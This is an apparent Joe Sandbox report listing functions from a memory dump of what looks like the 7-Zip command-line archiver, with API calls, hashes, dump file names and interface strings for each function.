Instruction ID: b2d1b1a152bdd3f3db66ce2d475ad3c8131d53a5dcb4199375a356999068aeba
Opcode Fuzzy Hash: 5bbcb3d30417cb4540914b84c838161a17fbf1d04a96b1a44235b1ed78704236
Instruction Fuzzy Hash: 82F01D3225A7A0C5CA14FF32C499A2E6751FBC7F81F043462EB4E63765CE28C806D644

Function 00C330A8 Relevance: 10.0, APIs: 8, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C330BA
free.MSVCRT ref: 00C330C4
free.MSVCRT ref: 00C330CF
free.MSVCRT ref: 00C330DD
free.MSVCRT ref: 00C33104
free.MSVCRT ref: 00C3310D
free.MSVCRT ref: 00C3311B
free.MSVCRT ref: 00C33126

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction ID: 28395532ee69b1799f5e71da390b7b0028a70c3bdc6acac79168518caeb8354c
Opcode Fuzzy Hash: f923bc8cdedd78b2b3edc0c739dd55c56a96e84a99f4fb77f0cef0815a61bf65
Instruction Fuzzy Hash: F6F0303225ABA0C1CA14FF32C4A9A2F6710F7C3F85F053053AB4E23751CE28C846E244

Function 00C3324C Relevance: 10.0, APIs: 8, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3325E
free.MSVCRT ref: 00C33268
free.MSVCRT ref: 00C33273
free.MSVCRT ref: 00C33281
free.MSVCRT ref: 00C332A8
free.MSVCRT ref: 00C332B1
free.MSVCRT ref: 00C332BF
free.MSVCRT ref: 00C332CA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
Instruction ID: ee1a3489351f6d6a8d11c0f55b02ff9d5b04cb3ef505553b989f364ad980bb8c
Opcode Fuzzy Hash: 2522e248d28b65a1e432d56d56702000484c5aa2c33acbb552cec4aae837ae87
Instruction Fuzzy Hash: 4CF0303229ABA1C5CA10FF32C899A2F6720F7C3F81F053053AB4E63751CE28C906E644

Function 00C3333D Relevance: 10.0, APIs: 8, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3334F
free.MSVCRT ref: 00C33359
free.MSVCRT ref: 00C33364
free.MSVCRT ref: 00C33372
free.MSVCRT ref: 00C33399
free.MSVCRT ref: 00C333A2
free.MSVCRT ref: 00C333B0
free.MSVCRT ref: 00C333BB

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
Instruction ID: f3aab8d44d365b465024b0e33b20a6a40cec0371070be3b8e22fd41bb3370e69
Opcode Fuzzy Hash: eef51832cb1860b1a47471d2ecdbd40fe6516d0eb3dd3788043c37f3bbfc7144
Instruction Fuzzy Hash: D6F0D03225A7A0C5CA14FF32D4A9A6E6721FBC7F81F053452AB4E53755CE28C806D644

Function 00C32E29 Relevance: 10.0, APIs: 8, Instructions: 40COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C32E3B
free.MSVCRT ref: 00C32E45
free.MSVCRT ref: 00C32E50
free.MSVCRT ref: 00C32E5E
free.MSVCRT ref: 00C32E87
free.MSVCRT ref: 00C32E90
free.MSVCRT ref: 00C32E9E
free.MSVCRT ref: 00C32EA9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: c5174ab1f7993f2eec1200e5e986d705cda821f000588a3ae1e3b292e3927ade
Instruction ID: 277e06dce133d4e4096e24b661adb4ec7d8aa0ee26c1dce261cbf8f43385e32e
Opcode Fuzzy Hash: c5174ab1f7993f2eec1200e5e986d705cda821f000588a3ae1e3b292e3927ade
Instruction Fuzzy Hash: B6F0D03225A7A0C5CA14FF32C45962E6711FBC7F81F053462AB4E63755CE28CC06D644

Function 00C32EDB Relevance: 10.0, APIs: 8, Instructions: 38COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C32EE3
free.MSVCRT ref: 00C32EED
free.MSVCRT ref: 00C32EF8
free.MSVCRT ref: 00C32F06
free.MSVCRT ref: 00C32F2F
free.MSVCRT ref: 00C32F38
free.MSVCRT ref: 00C32F46
free.MSVCRT ref: 00C32F51

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 73516b05c5aded9222374f9846cd335e674db6f98022afe4c7a0822642a89c91
Instruction ID: 3821d5c88dcbeef7eb9243b315a5f381fdf525a148a9711a52cb09bbcd7fe200
Opcode Fuzzy Hash: 73516b05c5aded9222374f9846cd335e674db6f98022afe4c7a0822642a89c91
Instruction Fuzzy Hash: B2F0DA32256BA0C5CA14FF32D469A2F6320FBC7F81F013462AB4E63751CE28C806D649

Function 00C32F97 Relevance: 10.0, APIs: 8, Instructions: 38COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C32F9F
free.MSVCRT ref: 00C32FA9
free.MSVCRT ref: 00C32FB4
free.MSVCRT ref: 00C32FC2
free.MSVCRT ref: 00C32FEB
free.MSVCRT ref: 00C32FF4
free.MSVCRT ref: 00C33002
free.MSVCRT ref: 00C3300D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 542bf3f330fecf80eaa0ec81e7d53865c449308f14702187d1a118dc28be755e
Instruction ID: ab5948d53d5f6b77cba97cf5927d7c403b4776f9f543e67926ca5de8431cd613
Opcode Fuzzy Hash: 542bf3f330fecf80eaa0ec81e7d53865c449308f14702187d1a118dc28be755e
Instruction Fuzzy Hash: 4AF09E31256BA4C5CA14FF32D46962E6320FBC7F81F017462AB4E63755DE28CC06D645

Function 00C4B310 Relevance: 10.0, APIs: 8, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

free.MSVCRT ref: 00C4B335
free.MSVCRT ref: 00C4B342
free.MSVCRT ref: 00C4B34E
free.MSVCRT ref: 00C4B358
free.MSVCRT ref: 00C4B362
free.MSVCRT ref: 00C4B36C
free.MSVCRT ref: 00C4B376
free.MSVCRT ref: 00C4B380

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$fputsmemset
String ID:
API String ID: 469995913-0
Opcode ID: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
Instruction ID: 04cde09a474682d38805792856dc8515c3901fc72d5bb2241df72eb336d7453f
Opcode Fuzzy Hash: d08ec6cc8013b459c16a183cb8820a8405a66458fcd2ec61ca7be2be00b49645
Instruction Fuzzy Hash: 15F0A932251A50C1CB10FF32D89A52D2321E7C2F68B046262AF6D573EACE20CC42D388

Function 00C26484 Relevance: 9.2, APIs: 6, Instructions: 177COMMON

Download Yara Rule

APIs

wcscmp.MSVCRT ref: 00C264F9
free.MSVCRT ref: 00C2659C
free.MSVCRT ref: 00C26602
free.MSVCRT ref: 00C2660A
memmove.MSVCRT ref: 00C26627
free.MSVCRT ref: 00C266A6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmovewcscmp
String ID:
API String ID: 3584677832-0
Opcode ID: 8f07c27319cfa5f95388e6e979af598d2aca2aeda731ef0214d5af31e1e2fbd3
Instruction ID: f9fa1171477b8634e0057a4545506895f56753cbf0a4ac75662148eae9128ecb
Opcode Fuzzy Hash: 8f07c27319cfa5f95388e6e979af598d2aca2aeda731ef0214d5af31e1e2fbd3
Instruction Fuzzy Hash: E751E373201A94C6CF20EF1AE49016D7361F394B98B548136EBAE0BF69DF35DA86C750

Function 00C01364 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 172COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C01558

Strings

Unknown switch:, xrefs: 00C0142C
Incorrect switch postfix:, xrefs: 00C014F8, 00C01584
Too short switch:, xrefs: 00C0148A
Multiple instances for switch:, xrefs: 00C0145B
Too long switch:, xrefs: 00C0159F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID: Incorrect switch postfix:$Multiple instances for switch:$Too long switch:$Too short switch:$Unknown switch:
API String ID: 1294909896-2104980125
Opcode ID: e608d69ddf76c65373c44b70f7ae3aeb3f136de1000bdcda8d63e8efa4483270
Instruction ID: bd7a99fa8e48b2aabb1bf2c7d243cbc3caaac6204ec4bea6fd548cbd3243aa24
Opcode Fuzzy Hash: e608d69ddf76c65373c44b70f7ae3aeb3f136de1000bdcda8d63e8efa4483270
Instruction Fuzzy Hash: C351E6722146D096CF31EF25D8846ADB761F381394F889225DF9A4B7D5EB34CB86DB00

Function 00C10358 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 143COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C104EE

Part of subcall function 00C0FEC8: _CxxThrowException.MSVCRT ref: 00C0FF2F
Part of subcall function 00C0FEC8: free.MSVCRT ref: 00C0FFAE
Part of subcall function 00C0FEC8: _CxxThrowException.MSVCRT ref: 00C0FFD1
Part of subcall function 00C0FEC8: _CxxThrowException.MSVCRT ref: 00C0FFF7
Part of subcall function 00C0FEC8: _CxxThrowException.MSVCRT ref: 00C1002B

free.MSVCRT ref: 00C10523
_CxxThrowException.MSVCRT ref: 00C10564

Strings

Incorrect wildcard type marker, xrefs: 00C1052A
Too short switch, xrefs: 00C1050C, 00C10515

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrow$free
String ID: Incorrect wildcard type marker$Too short switch
API String ID: 3129652135-1817034180
Opcode ID: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
Instruction ID: 620d7c5cb0e96098c9cc459aa5e28e7350f24ff222c6e636c196627fecb5845f
Opcode Fuzzy Hash: f2458bf291f458b2712c5f00df2031021bba44effe0b8784fcef15973866768f
Instruction Fuzzy Hash: B051B1272086D4C5DB20DF16E4907DEBB20F386794FA58116EF9907B59DBB8C9C6EB00

Function 00C3E2F0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3E36E
free.MSVCRT ref: 00C3E3C8
free.MSVCRT ref: 00C3E44C

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

free.MSVCRT ref: 00C3E486
free.MSVCRT ref: 00C3E4E4

Strings

#, xrefs: 00C3E494

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID: #
API String ID: 1534225298-1885708031
Opcode ID: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
Instruction ID: 3f6061ff5b0cc641c8d1dc3a1530feb9fa95c80570808733a3babf6696ca1c9f
Opcode Fuzzy Hash: 88dd9615235185287fb0baae77512b6b30fd0ad49e52e1feae422806fc2f9e0a
Instruction Fuzzy Hash: 5A517136324B8482CB60DB66E48079EB765F7C9B90F544212EBAE437A5DF3CC949C700

Function 00C42688 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 126stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00C4273A
strlen.MSVCRT ref: 00C42749
memset.MSVCRT ref: 00C42767
strlen.MSVCRT ref: 00C427EB
memset.MSVCRT ref: 00C42811

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Strings

, xrefs: 00C42818

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memsetstrlen$fputs
String ID:
API String ID: 2256168112-2735817509
Opcode ID: ad0d7bef1b919bc72df3f5cae30fb1075d7da1c7e795fc3f1bc43048049e5982
Instruction ID: 8d60f339819b5fdfc72debce448be63328ff097df9b37bd6fb3c8f8512330bf5
Opcode Fuzzy Hash: ad0d7bef1b919bc72df3f5cae30fb1075d7da1c7e795fc3f1bc43048049e5982
Instruction Fuzzy Hash: 1B4103733087C095CB34EB25F4513AEAB65F788B88F884526EF8A07759CE78C685CB00

Function 00C09828 Relevance: 9.1, APIs: 6, Instructions: 123COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00C09898
free.MSVCRT ref: 00C099E7

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorLastfree
String ID:
API String ID: 2167247754-0
Opcode ID: 20cadcee4a29e65714f589434cd172a3e6a1a379c9859cc67ae3c45b41779d1f
Instruction ID: 2cf867b66c2aadd4e91bc3a41989ac708249c99acf7f0d8b6ff343d949774014
Opcode Fuzzy Hash: 20cadcee4a29e65714f589434cd172a3e6a1a379c9859cc67ae3c45b41779d1f
Instruction Fuzzy Hash: 89419D3121968085CA20FB15E49176EB364F7D2760F505326EBED477E6DF38C94AD704

Function 00C06A04 Relevance: 9.1, APIs: 6, Instructions: 74fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32 ref: 00C06A42
MoveFileW.KERNEL32 ref: 00C06AA6
free.MSVCRT ref: 00C06AB6
free.MSVCRT ref: 00C06AC1
free.MSVCRT ref: 00C06ACF
free.MSVCRT ref: 00C06ADA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$FileMove
String ID:
API String ID: 288606353-0
Opcode ID: c934d79802b123a65afdecf3c3c141401825e728ddd7393a0425fdd743619d48
Instruction ID: 104407063172c2faa12bb5648802f48b876f609c0ab640f71b4b17f185d0adb4
Opcode Fuzzy Hash: c934d79802b123a65afdecf3c3c141401825e728ddd7393a0425fdd743619d48
Instruction Fuzzy Hash: 1B11A52334465085CE20FF25E85066F57209BC2BD0F446221BFBA572E5DF29CD86E640

Function 00C07B70 Relevance: 9.1, APIs: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00C0794C: FindClose.KERNELBASE ref: 00C0795E

SetLastError.KERNEL32 ref: 00C07BAA
SetLastError.KERNEL32 ref: 00C07BB9
FindFirstStreamW.KERNELBASE ref: 00C07BDB
GetLastError.KERNEL32 ref: 00C07BEA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorLast$Find$CloseFirstStream
String ID:
API String ID: 4071060300-0
Opcode ID: a6e64fabe6673e363aad17d05dfc3ab5172c88e9485b2e4bf2568c0b8856aec2
Instruction ID: 1190bd0fb53bb79070e3f0321937a4e4ea21ae9e83c5a21272a82927836dc526
Opcode Fuzzy Hash: a6e64fabe6673e363aad17d05dfc3ab5172c88e9485b2e4bf2568c0b8856aec2
Instruction Fuzzy Hash: CE21A432A08B8082EB389B25E85476D2364FB8A774F545321DEBA437E5DF3DDA49D700

Function 00C4CCF8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4CD1C
fputs.MSVCRT ref: 00C4CD31
free.MSVCRT ref: 00C4CDDC
free.MSVCRT ref: 00C4CE23

Strings

(Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? , xrefs: 00C4CD2A

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputsfree
String ID: (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit?
API String ID: 2581285248-171671738
Opcode ID: 4b5025059e70d1de0ed5aeed492243599037d1a5b9a8e456c84aaac635c9e110
Instruction ID: f8192298f9ca8329a131342f6d9e21cec8bb3bb2e29c71ceea95bca39567b0e8
Opcode Fuzzy Hash: 4b5025059e70d1de0ed5aeed492243599037d1a5b9a8e456c84aaac635c9e110
Instruction Fuzzy Hash: 4131A92260994487EB749B15D8E57792721F3447A4F480226EB6A073F9DF1CCEE5D701

Function 00C011B8 Relevance: 8.8, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

free.MSVCRT ref: 00C01215
free.MSVCRT ref: 00C0121D
free.MSVCRT ref: 00C012AA
free.MSVCRT ref: 00C012B5
free.MSVCRT ref: 00C012C4
free.MSVCRT ref: 00C012CF
free.MSVCRT ref: 00C012DA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
Instruction ID: 7aaf998c87faa405e3a228eebe36021484b050cc3078610570449866a8b03b52
Opcode Fuzzy Hash: 5dbb136250ba67db7f9c767b0f337fdb521cef1fb26903d33d9bfc2baab15fa3
Instruction Fuzzy Hash: C021A773215A8095CE20EF25E85115EA720EBC27D4F585222FFAE877F9DF28CA46D700

Function 00C464C4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

fputs.MSVCRT ref: 00C464EB
fputs.MSVCRT ref: 00C464FB

Part of subcall function 00C46460: fputs.MSVCRT ref: 00C464B3

fputc.MSVCRT ref: 00C46534
fputs.MSVCRT ref: 00C4659B

Strings

Time =, xrefs: 00C464F4

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$fputc
String ID: Time =
API String ID: 1185151155-458291097
Opcode ID: 16a4f377ae2496a292c66f8ada87fd246b35ce43fff94a3fe0e30452b0aef1ee
Instruction ID: 144fedaeef738fb2178bf2167bcbc6d02ed7d8a1f16831c73359b3cb7ca06259
Opcode Fuzzy Hash: 16a4f377ae2496a292c66f8ada87fd246b35ce43fff94a3fe0e30452b0aef1ee
Instruction Fuzzy Hash: 1B21A299340A1586FA08AF1BEC9076A5312BB98FC4F08E135DE1E077ACDD3CC856D300

Function 00C3F69C Relevance: 8.8, APIs: 7, Instructions: 66COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C3F6C5
memmove.MSVCRT ref: 00C3F70E
free.MSVCRT ref: 00C3F727
free.MSVCRT ref: 00C3F72F
memmove.MSVCRT ref: 00C3F74B
LeaveCriticalSection.KERNEL32 ref: 00C3F757
_CxxThrowException.MSVCRT ref: 00C3F773

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
